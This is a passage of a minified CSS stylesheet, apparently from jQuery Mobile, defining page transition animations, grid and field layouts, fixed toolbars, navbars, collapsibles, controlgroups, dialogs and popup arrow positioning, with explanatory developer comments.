-webkit-transform: translateY(100%); -webkit-animation-name: slideouttobottom; -webkit-animation-duration: 200ms; -moz-transform: translateY(100%); -moz-animation-name: slideouttobottom; -moz-animation-duration: 200ms; transform: translateY(100%); animation-name: slideouttobottom; animation-duration: 200ms; } @-webkit-keyframes slideinfrombottom { from { -webkit-transform: translateY(100%); } to { -webkit-transform: translateY(0); } } @-moz-keyframes slideinfrombottom { from { -moz-transform: translateY(100%); } to { -moz-transform: translateY(0); } } @keyframes slideinfrombottom { from { transform: translateY(100%); } to { transform: translateY(0); } } @-webkit-keyframes slideouttobottom { from { -webkit-transform: translateY(0); } to { -webkit-transform: translateY(100%); } } @-moz-keyframes slideouttobottom { from { -moz-transform: translateY(0); } to { -moz-transform: translateY(100%); } } @keyframes slideouttobottom { from { transform: translateY(0); } to { transform: translateY(100%); } } /* The properties in this rule are only necessary for the 'flip' transition. * We need specify the perspective to create a projection matrix. This will add * some depth as the element flips. The depth number represents the distance of * the viewer from the z-plane. According to the CSS3 spec, 1000 is a moderate * value. */ .viewport-flip { -webkit-perspective: 1000; -moz-perspective: 1000; perspective: 1000; position: absolute; } .flip { -webkit-backface-visibility: hidden; -webkit-transform: translateX(0); /* Needed to work around an iOS 3.1 bug that causes listview thumbs to disappear when -webkit-visibility:hidden is used. */ -moz-backface-visibility: hidden; -moz-transform: translateX(0); backface-visibility: hidden; transform: translateX(0); } .flip.out { -webkit-transform: rotateY(-90deg) scale(.9); -webkit-animation-name: flipouttoleft; -webkit-animation-duration: 175ms; -moz-transform: rotateY(-90deg) scale(.9); -moz-animation-name: flipouttoleft; -moz-animation-duration: 175ms; transform: rotateY(-90deg) scale(.9); animation-name: flipouttoleft; animation-duration: 175ms; } .flip.in { -webkit-animation-name: flipintoright; -webkit-animation-duration: 225ms; -moz-animation-name: flipintoright; -moz-animation-duration: 225ms; animation-name: flipintoright; animation-duration: 225ms; } .flip.out.reverse { -webkit-transform: rotateY(90deg) scale(.9); -webkit-animation-name: flipouttoright; -moz-transform: rotateY(90deg) scale(.9); -moz-animation-name: flipouttoright; transform: rotateY(90deg) scale(.9); animation-name: flipouttoright; } .flip.in.reverse { -webkit-animation-name: flipintoleft; -moz-animation-name: flipintoleft; animation-name: flipintoleft; } @-webkit-keyframes flipouttoleft { from { -webkit-transform: rotateY(0); } to { -webkit-transform: rotateY(-90deg) scale(.9); } } @-moz-keyframes flipouttoleft { from { -moz-transform: rotateY(0); } to { -moz-transform: rotateY(-90deg) scale(.9); } } @keyframes flipouttoleft { from { transform: rotateY(0); } to { transform: rotateY(-90deg) scale(.9); } } @-webkit-keyframes flipouttoright { from { -webkit-transform: rotateY(0) ; } to { -webkit-transform: rotateY(90deg) scale(.9); } } @-moz-keyframes flipouttoright { from { -moz-transform: rotateY(0); } to { -moz-transform: rotateY(90deg) scale(.9); } } @keyframes flipouttoright { from { transform: rotateY(0); } to { transform: rotateY(90deg) scale(.9); } } @-webkit-keyframes flipintoleft { from { -webkit-transform: rotateY(-90deg) scale(.9); } to { -webkit-transform: rotateY(0); } } @-moz-keyframes flipintoleft { from { -moz-transform: rotateY(-90deg) scale(.9); } to { -moz-transform: rotateY(0); } } @keyframes flipintoleft { from { transform: rotateY(-90deg) scale(.9); } to { transform: rotateY(0); } } @-webkit-keyframes flipintoright { from { -webkit-transform: rotateY(90deg) scale(.9); } to { -webkit-transform: rotateY(0); } } @-moz-keyframes flipintoright { from { -moz-transform: rotateY(90deg) scale(.9); } to { -moz-transform: rotateY(0); } } @keyframes flipintoright { from { transform: rotateY(90deg) scale(.9); } to { transform: rotateY(0); } } /* The properties in this rule are only necessary for the 'flip' transition. * We need specify the perspective to create a projection matrix. This will add * some depth as the element flips. The depth number represents the distance of * the viewer from the z-plane. According to the CSS3 spec, 1000 is a moderate * value. */ .viewport-turn { -webkit-perspective: 200px; -moz-perspective: 200px; -ms-perspective: 200px; perspective: 200px; position: absolute; } .turn { -webkit-backface-visibility: hidden; -webkit-transform: translateX(0); /* Needed to work around an iOS 3.1 bug that causes listview thumbs to disappear when -webkit-visibility:hidden is used. */ -webkit-transform-origin: 0; -moz-backface-visibility: hidden; -moz-transform: translateX(0); -moz-transform-origin: 0; backface-visibility :hidden; transform: translateX(0); transform-origin: 0; } .turn.out { -webkit-transform: rotateY(-90deg) scale(.9); -webkit-animation-name: flipouttoleft; -webkit-animation-duration: 125ms; -moz-transform: rotateY(-90deg) scale(.9); -moz-animation-name: flipouttoleft; -moz-animation-duration: 125ms; transform: rotateY(-90deg) scale(.9); animation-name: flipouttoleft; animation-duration: 125ms; } .turn.in { -webkit-animation-name: flipintoright; -webkit-animation-duration: 250ms; -moz-animation-name: flipintoright; -moz-animation-duration: 250ms; animation-name: flipintoright; animation-duration: 250ms; } .turn.out.reverse { -webkit-transform: rotateY(90deg) scale(.9); -webkit-animation-name: flipouttoright; -moz-transform: rotateY(90deg) scale(.9); -moz-animation-name: flipouttoright; transform: rotateY(90deg) scale(.9); animation-name: flipouttoright; } .turn.in.reverse { -webkit-animation-name: flipintoleft; -moz-animation-name: flipintoleft; animation-name: flipintoleft; } @-webkit-keyframes flipouttoleft { from { -webkit-transform: rotateY(0); } to { -webkit-transform: rotateY(-90deg) scale(.9); } } @-moz-keyframes flipouttoleft { from { -moz-transform: rotateY(0); } to { -moz-transform: rotateY(-90deg) scale(.9); } } @keyframes flipouttoleft { from { transform: rotateY(0); } to { transform: rotateY(-90deg) scale(.9); } } @-webkit-keyframes flipouttoright { from { -webkit-transform: rotateY(0) ; } to { -webkit-transform: rotateY(90deg) scale(.9); } } @-moz-keyframes flipouttoright { from { -moz-transform: rotateY(0); } to { -moz-transform: rotateY(90deg) scale(.9); } } @keyframes flipouttoright { from { transform: rotateY(0); } to { transform: rotateY(90deg) scale(.9); } } @-webkit-keyframes flipintoleft { from { -webkit-transform: rotateY(-90deg) scale(.9); } to { -webkit-transform: rotateY(0); } } @-moz-keyframes flipintoleft { from { -moz-transform: rotateY(-90deg) scale(.9); } to { -moz-transform: rotateY(0); } } @keyframes flipintoleft { from { transform: rotateY(-90deg) scale(.9); } to { transform: rotateY(0); } } @-webkit-keyframes flipintoright { from { -webkit-transform: rotateY(90deg) scale(.9); } to { -webkit-transform: rotateY(0); } } @-moz-keyframes flipintoright { from { -moz-transform: rotateY(90deg) scale(.9); } to { -moz-transform: rotateY(0); } } @keyframes flipintoright { from { transform: rotateY(90deg) scale(.9); } to { transform: rotateY(0); } } /* flow transition */ .flow { -webkit-transform-origin: 50% 30%; -webkit-box-shadow: 0 0 20px rgba(0,0,0,.4); -moz-transform-origin: 50% 30%; -moz-box-shadow: 0 0 20px rgba(0,0,0,.4); transform-origin: 50% 30%; box-shadow: 0 0 20px rgba(0,0,0,.4); } .ui-dialog.flow { -webkit-transform-origin: none; -webkit-box-shadow: none; -moz-transform-origin: none; -moz-box-shadow: none; transform-origin: none; box-shadow: none; } .flow.out { -webkit-transform: translateX(-100%) scale(.7); -webkit-animation-name: flowouttoleft; -webkit-animation-timing-function: ease; -webkit-animation-duration: 350ms; -moz-transform: translateX(-100%) scale(.7); -moz-animation-name: flowouttoleft; -moz-animation-timing-function: ease; -moz-animation-duration: 350ms; transform: translateX(-100%) scale(.7); animation-name: flowouttoleft; animation-timing-function: ease; animation-duration: 350ms; } .flow.in { -webkit-transform: translateX(0) scale(1); -webkit-animation-name: flowinfromright; -webkit-animation-timing-function: ease; -webkit-animation-duration: 350ms; -moz-transform: translateX(0) scale(1); -moz-animation-name: flowinfromright; -moz-animation-timing-function: ease; -moz-animation-duration: 350ms; transform: translateX(0) scale(1); animation-name: flowinfromright; animation-timing-function: ease; animation-duration: 350ms; } .flow.out.reverse { -webkit-transform: translateX(100%); -webkit-animation-name: flowouttoright; -moz-transform: translateX(100%); -moz-animation-name: flowouttoright; transform: translateX(100%); animation-name: flowouttoright; } .flow.in.reverse { -webkit-animation-name: flowinfromleft; -moz-animation-name: flowinfromleft; animation-name: flowinfromleft; } @-webkit-keyframes flowouttoleft { 0% { -webkit-transform: translateX(0) scale(1); } 60%, 70% { -webkit-transform: translateX(0) scale(.7); } 100% { -webkit-transform: translateX(-100%) scale(.7); } } @-moz-keyframes flowouttoleft { 0% { -moz-transform: translateX(0) scale(1); } 60%, 70% { -moz-transform: translateX(0) scale(.7); } 100% { -moz-transform: translateX(-100%) scale(.7); } } @keyframes flowouttoleft { 0% { transform: translateX(0) scale(1); } 60%, 70% { transform: translateX(0) scale(.7); } 100% { transform: translateX(-100%) scale(.7); } } @-webkit-keyframes flowouttoright { 0% { -webkit-transform: translateX(0) scale(1); } 60%, 70% { -webkit-transform: translateX(0) scale(.7); } 100% { -webkit-transform: translateX(100%) scale(.7); } } @-moz-keyframes flowouttoright { 0% { -moz-transform: translateX(0) scale(1); } 60%, 70% { -moz-transform: translateX(0) scale(.7); } 100% { -moz-transform: translateX(100%) scale(.7); } } @keyframes flowouttoright { 0% { transform: translateX(0) scale(1); } 60%, 70% { transform: translateX(0) scale(.7); } 100% { transform: translateX(100%) scale(.7); } } @-webkit-keyframes flowinfromleft { 0% { -webkit-transform: translateX(-100%) scale(.7); } 30%, 40% { -webkit-transform: translateX(0) scale(.7); } 100% { -webkit-transform: translateX(0) scale(1); } } @-moz-keyframes flowinfromleft { 0% { -moz-transform: translateX(-100%) scale(.7); } 30%, 40% { -moz-transform: translateX(0) scale(.7); } 100% { -moz-transform: translateX(0) scale(1); } } @keyframes flowinfromleft { 0% { transform: translateX(-100%) scale(.7); } 30%, 40% { transform: translateX(0) scale(.7); } 100% { transform: translateX(0) scale(1); } } @-webkit-keyframes flowinfromright { 0% { -webkit-transform: translateX(100%) scale(.7); } 30%, 40% { -webkit-transform: translateX(0) scale(.7); } 100% { -webkit-transform: translateX(0) scale(1); } } @-moz-keyframes flowinfromright { 0% { -moz-transform: translateX(100%) scale(.7); } 30%, 40% { -moz-transform: translateX(0) scale(.7); } 100% { -moz-transform: translateX(0) scale(1); } } @keyframes flowinfromright { 0% { transform: translateX(100%) scale(.7); } 30%, 40% { transform: translateX(0) scale(.7); } 100% { transform: translateX(0) scale(1); } } .ui-field-contain, .ui-mobile fieldset.ui-field-contain { display: block; position: relative; overflow: visible; clear: both; padding: .8em 0; } .ui-field-contain > label ~ [class*="ui-"], .ui-field-contain .ui-controlgroup-controls { margin: 0; } .ui-field-contain:last-child { border-bottom-width: 0; } @media (min-width: 28em) { .ui-field-contain, .ui-mobile fieldset.ui-field-contain { padding: 0; margin: 1em 0; border-bottom-width: 0; } .ui-field-contain:before, .ui-field-contain:after { content: ""; display: table; } .ui-field-contain:after { clear: both; } .ui-field-contain > label, .ui-field-contain .ui-controlgroup-label, .ui-field-contain > .ui-rangeslider > label { float: left; width: 20%; margin: .5em 2% 0 0; } .ui-popup .ui-field-contain > label, .ui-popup .ui-field-contain .ui-controlgroup-label, .ui-popup .ui-field-contain > .ui-rangeslider > label { float: none; width: auto; margin: 0 0 .4em; } .ui-field-contain > label ~ [class*="ui-"], .ui-field-contain .ui-controlgroup-controls { float: left; width: 78%; -webkit-box-sizing: border-box; -moz-box-sizing: border-box; box-sizing: border-box; } /* ui-hide-label deprecated in 1.4. TODO: Remove in 1.5 */ .ui-hide-label > label ~ [class*="ui-"], .ui-hide-label .ui-controlgroup-controls, .ui-popup .ui-field-contain > label ~ [class*="ui-"], .ui-popup .ui-field-contain .ui-controlgroup-controls { float: none; width: 100%; } .ui-field-contain > label ~ .ui-btn-inline { width: auto; margin-right: .625em; } .ui-field-contain > label ~ .ui-btn-inline.ui-btn-icon-notext { width: 1.75em; } } /* content configurations. */ .ui-grid-a, .ui-grid-b, .ui-grid-c, .ui-grid-d, .ui-grid-solo { overflow: hidden; } .ui-block-a, .ui-block-b, .ui-block-c, .ui-block-d, .ui-block-e { margin: 0; padding: 0; border: 0; float: left; min-height: 1px; -webkit-box-sizing: border-box; -moz-box-sizing: border-box; box-sizing: border-box; } /* force new row */ .ui-block-a { clear: left; } ul.ui-grid-a, ul.ui-grid-b, ul.ui-grid-c, ul.ui-grid-d, ul.ui-grid-solo, li.ui-block-a, li.ui-block-b, li.ui-block-c, li.ui-block-d, li.ui-block-e { margin-left: 0; margin-right: 0; padding: 0; list-style: none; } /* No margin in grids for 100% width button elements until we can use max-width: fill-available; */ [class*="ui-block-"] > button.ui-btn { margin-right: 0; margin-left: 0; } [class*="ui-block-"] > .ui-btn, [class*="ui-block-"] > .ui-select, [class*="ui-block-"] > .ui-checkbox, [class*="ui-block-"] > .ui-radio, [class*="ui-block-"] > button.ui-btn-inline, [class*="ui-block-"] > button.ui-btn-icon-notext, .ui-header [class*="ui-block-"] > button.ui-btn, .ui-footer [class*="ui-block-"] > button.ui-btn { margin-right: .3125em; margin-left: .3125em; } .ui-grid-a > .ui-block-a, .ui-grid-a > .ui-block-b { /* width: 49.95%; IE7 */ /* margin-right: -.5px; BB5 */ width: 50%; } .ui-grid-b > .ui-block-a, .ui-grid-b > .ui-block-b, .ui-grid-b > .ui-block-c { /* width: 33.25%; IE7 */ /* margin-right: -.5px; BB5 */ width: 33.333%; } .ui-grid-c > .ui-block-a, .ui-grid-c > .ui-block-b, .ui-grid-c > .ui-block-c, .ui-grid-c > .ui-block-d { /* width: 24.925%; IE7 */ /* margin-right: -.5px; BB5 */ width: 25%; } .ui-grid-d > .ui-block-a, .ui-grid-d > .ui-block-b, .ui-grid-d > .ui-block-c, .ui-grid-d > .ui-block-d, .ui-grid-d > .ui-block-e { /* width: 19.925%; IE7 */ width: 20%; } .ui-grid-solo > .ui-block-a { width: 100%; float: none; } /* preset breakpoint to switch to stacked grid styles below 35em (560px) */ @media (max-width: 35em) { .ui-responsive > .ui-block-a, .ui-responsive > .ui-block-b, .ui-responsive > .ui-block-c, .ui-responsive > .ui-block-d, .ui-responsive > .ui-block-e { width: 100%; float: none; } } /* fixed page header & footer configuration */ .ui-header-fixed, .ui-footer-fixed { left: 0; right: 0; width: 100%; position: fixed; z-index: 1000; } .ui-header-fixed { top: -1px; padding-top: 1px; } .ui-header-fixed.ui-fixed-hidden { top: 0; padding-top: 0; } .ui-header-fixed .ui-btn-left, .ui-header-fixed .ui-btn-right { margin-top: 1px; } .ui-header-fixed.ui-fixed-hidden .ui-btn-left, .ui-header-fixed.ui-fixed-hidden .ui-btn-right { margin-top: 0; } .ui-footer-fixed { bottom: -1px; padding-bottom: 1px; } .ui-footer-fixed.ui-fixed-hidden { bottom: 0; padding-bottom: 0; } .ui-header-fullscreen, .ui-footer-fullscreen { filter: Alpha(Opacity=90); opacity: .9; } /* updatePagePadding() will update the padding to actual height of header and footer. */ .ui-page-header-fixed { padding-top: 2.8125em; } .ui-page-footer-fixed { padding-bottom: 2.8125em; } .ui-page-header-fullscreen > .ui-content, .ui-page-footer-fullscreen > .ui-content { padding: 0; } .ui-fixed-hidden { position: absolute; } /* Tap toggle: hide external fixed footer. See issue #6604 */ .ui-footer-fixed.ui-fixed-hidden { display: none; } .ui-page .ui-footer-fixed.ui-fixed-hidden { display: block } .ui-page-header-fullscreen .ui-fixed-hidden, .ui-page-footer-fullscreen .ui-fixed-hidden { position: absolute !important; height: 1px; width: 1px; overflow: hidden; clip: rect(1px,1px,1px,1px); } .ui-header-fixed .ui-btn, .ui-footer-fixed .ui-btn { z-index: 10; } /* workarounds for other widgets */ .ui-android-2x-fixed .ui-li-has-thumb { -webkit-transform: translate3d(0,0,0); } .ui-navbar { max-width: 100%; } .ui-navbar ul:before, .ui-navbar ul:after { content: ""; display: table; } .ui-navbar ul:after { clear: both; } .ui-navbar ul { list-style: none; margin: 0; padding: 0; position: relative; display: block; border: 0; max-width: 100%; overflow: visible; } .ui-navbar li .ui-btn { font-size: 12.5px; display: block; margin: 0; border-right-width: 0; } .ui-header .ui-navbar li button.ui-btn, .ui-footer .ui-navbar li button.ui-btn { margin: 0; width: 100%; } .ui-navbar .ui-btn:focus { z-index: 1; } /* fixes gaps caused by subpixel problem */ .ui-navbar li:last-child .ui-btn { margin-right: -4px; } .ui-navbar li:last-child .ui-btn:after { margin-right: 4px; } .ui-content .ui-navbar li:last-child .ui-btn, .ui-content .ui-navbar .ui-grid-duo .ui-block-b .ui-btn { border-right-width: 1px; margin-right: 0; } .ui-content .ui-navbar li:last-child .ui-btn:after, .ui-content .ui-navbar .ui-grid-duo .ui-block-b .ui-btn:after { margin-right: 0; } .ui-navbar .ui-grid-duo .ui-block-a:last-child .ui-btn { border-right-width: 1px; margin-right: -1px; } .ui-navbar .ui-grid-duo .ui-block-a:last-child .ui-btn:after { margin-right: 1px; } .ui-navbar .ui-grid-duo .ui-btn { border-top-width: 0; } .ui-navbar .ui-grid-duo .ui-block-a:first-child .ui-btn, .ui-navbar .ui-grid-duo .ui-block-a:first-child + .ui-block-b .ui-btn { border-top-width: 1px; } .ui-header .ui-navbar .ui-btn, .ui-footer .ui-navbar .ui-btn { border-top-width: 0; border-bottom-width: 0; } .ui-header .ui-navbar .ui-grid-duo .ui-block-a:first-child .ui-btn, .ui-footer .ui-navbar .ui-grid-duo .ui-block-a:first-child .ui-btn, .ui-header .ui-navbar .ui-grid-duo .ui-block-a:first-child + .ui-block-b .ui-btn, .ui-footer .ui-navbar .ui-grid-duo .ui-block-a:first-child + .ui-block-b .ui-btn { border-top-width: 0; } .ui-header .ui-title ~ .ui-navbar .ui-btn, .ui-footer .ui-title ~ .ui-navbar .ui-btn, .ui-header .ui-navbar .ui-grid-duo .ui-btn, .ui-footer .ui-navbar .ui-grid-duo .ui-btn, .ui-header .ui-title ~ .ui-navbar .ui-grid-duo .ui-block-a:first-child .ui-btn, .ui-footer .ui-title ~ .ui-navbar .ui-grid-duo .ui-block-a:first-child .ui-btn, .ui-header .ui-title ~ .ui-navbar .ui-grid-duo .ui-block-a:first-child + .ui-block-b .ui-btn, .ui-footer .ui-title ~ .ui-navbar .ui-grid-duo .ui-block-a:first-child + .ui-block-b .ui-btn { border-top-width: 1px; } /* Hide the native input element */ .ui-input-btn input { position: absolute; top: 0; left: 0; width: 100%; height: 100%; padding: 0; border: 0; outline: 0; -webkit-border-radius: inherit; border-radius: inherit; -webkit-appearance: none; -moz-appearance: none; cursor: pointer; background: #fff; background: rgba(255,255,255,0); filter: Alpha(Opacity=0); opacity: .1; font-size: 1px; text-indent: -9999px; z-index: 2; } /* Fixes IE/WP filter alpha opacity bugs */ .ui-input-btn.ui-state-disabled input { position: absolute !important; height: 1px; width: 1px; overflow: hidden; clip: rect(1px,1px,1px,1px); } .ui-collapsible { margin: 0 -1em; } .ui-collapsible-inset, .ui-collapsible-set { margin: .5em 0; } .ui-collapsible-heading { display: block; margin: 0; padding: 0; position: relative; } .ui-collapsible-heading .ui-btn { text-align: left; margin: 0; border-left-width: 0; border-right-width: 0; } .ui-collapsible-heading .ui-btn-icon-top, .ui-collapsible-heading .ui-btn-icon-bottom { text-align: center; } .ui-collapsible-inset .ui-collapsible-heading .ui-btn { border-right-width: 1px; border-left-width: 1px; } .ui-collapsible-collapsed + .ui-collapsible:not(.ui-collapsible-inset) > .ui-collapsible-heading .ui-btn { border-top-width: 0; } .ui-collapsible-set .ui-collapsible:not(.ui-collapsible-inset) .ui-collapsible-heading .ui-btn { border-top-width: 1px; } .ui-collapsible-heading-status { position: absolute !important; height: 1px; width: 1px; overflow: hidden; clip: rect(1px,1px,1px,1px); } .ui-collapsible-content { display: block; margin: 0; padding: .5em 1em; } .ui-collapsible-themed-content .ui-collapsible-content { border-left-width: 0; border-right-width: 0; border-top-width: 0; border-bottom-width: 1px; border-style: solid; } .ui-collapsible-inset.ui-collapsible-themed-content .ui-collapsible-content { border-left-width: 1px; border-right-width: 1px; } .ui-collapsible-inset .ui-collapsible-content { margin: 0; } .ui-collapsible-content-collapsed { display: none; } .ui-collapsible-set > .ui-collapsible.ui-corner-all { -webkit-border-radius: 0; border-radius: 0; } .ui-collapsible-heading, .ui-collapsible-heading > .ui-btn { -webkit-border-radius: inherit; border-radius: inherit; } .ui-collapsible-set .ui-collapsible.ui-first-child { -webkit-border-top-right-radius: inherit; border-top-right-radius: inherit; -webkit-border-top-left-radius: inherit; border-top-left-radius: inherit; } .ui-collapsible-content, .ui-collapsible-set .ui-collapsible.ui-last-child { -webkit-border-bottom-right-radius: inherit; border-bottom-right-radius: inherit; -webkit-border-bottom-left-radius: inherit; border-bottom-left-radius: inherit; } .ui-collapsible-themed-content:not(.ui-collapsible-collapsed) > .ui-collapsible-heading { -webkit-border-bottom-right-radius: 0; border-bottom-right-radius: 0; -webkit-border-bottom-left-radius: 0; border-bottom-left-radius: 0; } .ui-collapsible-set .ui-collapsible { margin: -1px -1em 0; } .ui-collapsible-set .ui-collapsible-inset { margin: -1px 0 0; } .ui-collapsible-set .ui-collapsible.ui-first-child { margin-top: 0; } .ui-controlgroup, fieldset.ui-controlgroup { padding: 0; margin: .5em 0; } .ui-field-contain .ui-controlgroup, .ui-field-contain fieldset.ui-controlgroup { margin: 0; } .ui-mini .ui-controlgroup-label { font-size: 16px; } .ui-controlgroup.ui-mini .ui-btn-icon-notext, .ui-controlgroup .ui-mini.ui-btn-icon-notext { font-size: inherit; } .ui-controlgroup-controls .ui-btn, .ui-controlgroup-controls .ui-checkbox, .ui-controlgroup-controls .ui-radio, .ui-controlgroup-controls .ui-select { margin: 0; } .ui-controlgroup-controls .ui-btn:focus, .ui-controlgroup-controls .ui-btn.ui-focus { z-index: 1; } .ui-controlgroup-controls li { list-style: none; } .ui-controlgroup-horizontal .ui-controlgroup-controls { display: inline-block; vertical-align: middle; } .ui-controlgroup-horizontal .ui-controlgroup-controls:before, .ui-controlgroup-horizontal .ui-controlgroup-controls:after { content: ""; display: table; } .ui-controlgroup-horizontal .ui-controlgroup-controls:after { clear: both; } .ui-controlgroup-horizontal .ui-controlgroup-controls > .ui-btn, .ui-controlgroup-horizontal .ui-controlgroup-controls li > .ui-btn, .ui-controlgroup-horizontal .ui-controlgroup-controls .ui-checkbox, .ui-controlgroup-horizontal .ui-controlgroup-controls .ui-radio, .ui-controlgroup-horizontal .ui-controlgroup-controls .ui-select { float: left; clear: none; } .ui-controlgroup-horizontal .ui-controlgroup-controls button.ui-btn, .ui-controlgroup-controls .ui-btn-icon-notext { width: auto; } .ui-controlgroup-horizontal .ui-controlgroup-controls .ui-btn-icon-notext, .ui-controlgroup-horizontal .ui-controlgroup-controls button.ui-btn-icon-notext { width: 1.5em; } .ui-controlgroup-controls .ui-btn-icon-notext { height: auto; padding: .7em 1em; } .ui-controlgroup-vertical .ui-controlgroup-controls .ui-btn { border-bottom-width: 0; } .ui-controlgroup-vertical .ui-controlgroup-controls .ui-btn.ui-last-child { border-bottom-width: 1px; } .ui-controlgroup-horizontal .ui-controlgroup-controls .ui-btn { border-right-width: 0; } .ui-controlgroup-horizontal .ui-controlgroup-controls .ui-btn.ui-last-child { border-right-width: 1px; } .ui-controlgroup-controls .ui-btn-corner-all, .ui-controlgroup-controls .ui-btn.ui-corner-all { -webkit-border-radius: 0; border-radius: 0; } .ui-controlgroup-controls, .ui-controlgroup-controls .ui-radio, .ui-controlgroup-controls .ui-checkbox, .ui-controlgroup-controls .ui-select, .ui-controlgroup-controls li { -webkit-border-radius: inherit; border-radius: inherit; } .ui-controlgroup-vertical .ui-btn.ui-first-child { -webkit-border-top-left-radius: inherit; border-top-left-radius: inherit; -webkit-border-top-right-radius: inherit; border-top-right-radius: inherit; } .ui-controlgroup-vertical .ui-btn.ui-last-child { -webkit-border-bottom-left-radius: inherit; border-bottom-left-radius: inherit; -webkit-border-bottom-right-radius: inherit; border-bottom-right-radius: inherit; } .ui-controlgroup-horizontal .ui-btn.ui-first-child { -webkit-border-top-left-radius: inherit; border-top-left-radius: inherit; -webkit-border-bottom-left-radius: inherit; border-bottom-left-radius: inherit; } .ui-controlgroup-horizontal .ui-btn.ui-last-child { -webkit-border-top-right-radius: inherit; border-top-right-radius: inherit; -webkit-border-bottom-right-radius: inherit; border-bottom-right-radius: inherit; } .ui-controlgroup-controls a.ui-shadow:not(:focus), .ui-controlgroup-controls button.ui-shadow:not(:focus), .ui-controlgroup-controls div.ui-shadow:not(.ui-focus) { -moz-box-shadow: none; -webkit-box-shadow: none; box-shadow: none; } /* Fixes legend not wrapping on IE10 */ .ui-controlgroup-label legend { max-width: 100%; } .ui-controlgroup-controls > label { position: absolute !important; height: 1px; width: 1px; overflow: hidden; clip: rect(1px,1px,1px,1px); } .ui-dialog { background: none !important; /* this is to ensure that dialog theming does not apply (by default at least) on the page div */ } .ui-dialog-contain { width: 92.5%; max-width: 500px; margin: 10% auto 1em auto; padding: 0; position: relative; top: -1em; } .ui-dialog-contain > .ui-header, .ui-dialog-contain > .ui-content, .ui-dialog-contain > .ui-footer { display: block; position: relative; width: auto; margin: 0; } .ui-dialog-contain > .ui-header { overflow: hidden; z-index: 10; padding: 0; border-top-width: 0; } .ui-dialog-contain > .ui-footer { z-index: 10; padding: 0 1em; border-bottom-width: 0; } .ui-popup-open .ui-header-fixed, .ui-popup-open .ui-footer-fixed { position: absolute !important; /* See issues #4816, #4844 and #4874 and popup.js */ } .ui-popup-screen { background-image: url("data:image/gif;base64,R0lGODlhAQABAID/AMDAwAAAACH5BAEAAAAALAAAAAABAAEAAAICRAEAOw=="); /* Necessary to set some form of background to ensure element is clickable in IE6/7. While legacy IE won't understand the data-URI'd image, it ensures no additional requests occur in all other browsers with little overhead. */ top: 0; left: 0; right: 0; bottom: 1px; position: absolute; filter: Alpha(Opacity=0); opacity: 0; z-index: 1099; } .ui-popup-screen.in { opacity: 0.5; filter: Alpha(Opacity=50); } .ui-popup-screen.out { opacity: 0; filter: Alpha(Opacity=0); } .ui-popup-container { z-index: 1100; display: inline-block; position: absolute; padding: 0; outline: 0; } .ui-popup { position: relative; } .ui-popup.ui-body-inherit { border-width: 1px; border-style: solid; } .ui-popup-hidden { left: 0; top: 0; position: absolute !important; visibility: hidden; } .ui-popup-truncate { height: 1px; width: 1px; margin: -1px; overflow: hidden; clip: rect(1px,1px,1px,1px); } .ui-popup.ui-content, .ui-popup .ui-content { overflow: visible; } .ui-popup > .ui-header { border-top-width: 0; } .ui-popup > .ui-footer { border-bottom-width: 0; } .ui-popup > p, .ui-popup > h1, .ui-popup > h2, .ui-popup > h3, .ui-popup > h4, .ui-popup > h5, .ui-popup > h6 { margin: .5em .4375em; } .ui-popup > span { display: block; margin: .5em .4375em; } .ui-popup-container .ui-content > p, .ui-popup-container .ui-content > h1, .ui-popup-container .ui-content > h2, .ui-popup-container .ui-content > h3, .ui-popup-container .ui-content > h4, .ui-popup-container .ui-content > h5, .ui-popup-container .ui-content > h6 { margin: .5em 0; } .ui-popup-container .ui-content > span { margin: 0; } .ui-popup-container .ui-content > p:first-child, .ui-popup-container .ui-content > h1:first-child, .ui-popup-container .ui-content > h2:first-child, .ui-popup-container .ui-content > h3:first-child, .ui-popup-container .ui-content > h4:first-child, .ui-popup-container .ui-content > h5:first-child, .ui-popup-container .ui-content > h6:first-child { margin-top: 0; } .ui-popup-container .ui-content > p:last-child, .ui-popup-container .ui-content > h1:last-child, .ui-popup-container .ui-content > h2:last-child, .ui-popup-container .ui-content > h3:last-child, .ui-popup-container .ui-content > h4:last-child, .ui-popup-container .ui-content > h5:last-child, .ui-popup-container .ui-content > h6:last-child { margin-bottom: 0; } .ui-popup > img { max-width: 100%; max-height: 100%; vertical-align: middle; } .ui-popup:not(.ui-content) > img:only-child, .ui-popup:not(.ui-content) > .ui-btn-left:first-child + img:last-child, .ui-popup:not(.ui-content) > .ui-btn-right:first-child + img:last-child { -webkit-border-radius: inherit; border-radius: inherit; } .ui-popup iframe { vertical-align: middle; } .ui-popup > .ui-btn-left, .ui-popup > .ui-btn-right { position: absolute; top: -11px; margin: 0; z-index: 1101; } .ui-popup > .ui-btn-left { left: -11px; } .ui-popup > .ui-btn-right { right: -11px; } /* Dimensions related to the popup arrow -----------------------------------------------------------------------------------------------------------*/ /* desired triangle height: 10px */ /** * guide for the arrow - its width, height, and offset are theme-dependent and * should be expessed as left, right, top, bottom, so that the element bearing * such a class becomes stretched inside its parent position: relative element. * The left/top/right/bottom specified below should reflect the corresponding * border radii and so it leaves room for the shadow: * ..--------------------.. * ." ^ top ". * / v \ * | +------------------+ | * | | | | * | left| |right| * |<--->| |<--->| * | +------------------+ | * \ ^ / * `. v bottom .' * ""--------------------"" * The idea is that the top/left of the arrow container box does not move to a * coordinate smaller than the top/left of the guide and the right/bottom of * the arrow container box does not move to a coordinate larger than the * bottom/right of the guide. This will help us avoid the following situation: * ..--------------------.. * ." ^ top ". * /|/ v \ * / | +------------------+ | * \ | | | | * \| left| |right| * |<--->| |<--->| * | +------------------+ | * \ ^ / * `. v bottom .' * ""--------------------"" * The arrow should not receive a top/left coordinate such that it is too close * to one of the corners, because then at first the shadow of the arrow and, * given a coordinate even closer to the corner, even the body of the arrow will * "stick out" of the corner of the popup. The guide provides a hint to the * arrow positioning code as to which range of values is acceptable for the * arrow container's top/left coordinate. **/ .ui-popup-arrow-container { width: 20px; height: 20px; } /* aside from the "infinities" (-1000,2000), triangle height is used */ .ui-popup-arrow-container.ui-popup-arrow-l { left: -10px; clip: rect(-1000px,10px,2000px,-1000px); } .ui-popup-arrow-container.ui-popup-arrow-t { top: -10px; clip: rect(-1000px,2000px,10px,-1000px); } .ui-popup-arrow-container.ui-popup-arrow-r { right: -10px; clip: rect(-1000px,2000px,2000px,10px); } .ui-popup-arrow-container.ui-popup-arrow-b { bottom: -10px; clip: rect(10px,2000px,1000px,-1000px); } /** * For each side, the arrow is twice the desired size and its corner is aligned * with the edge of the container: * * /\ /\ +----+ /\ * / \ / \ | /\ |top / \ * +----+ \ / +----+ +-->|/ \| / \ * left| / | \ / | \ |right | | | / \ * |/ | \ / 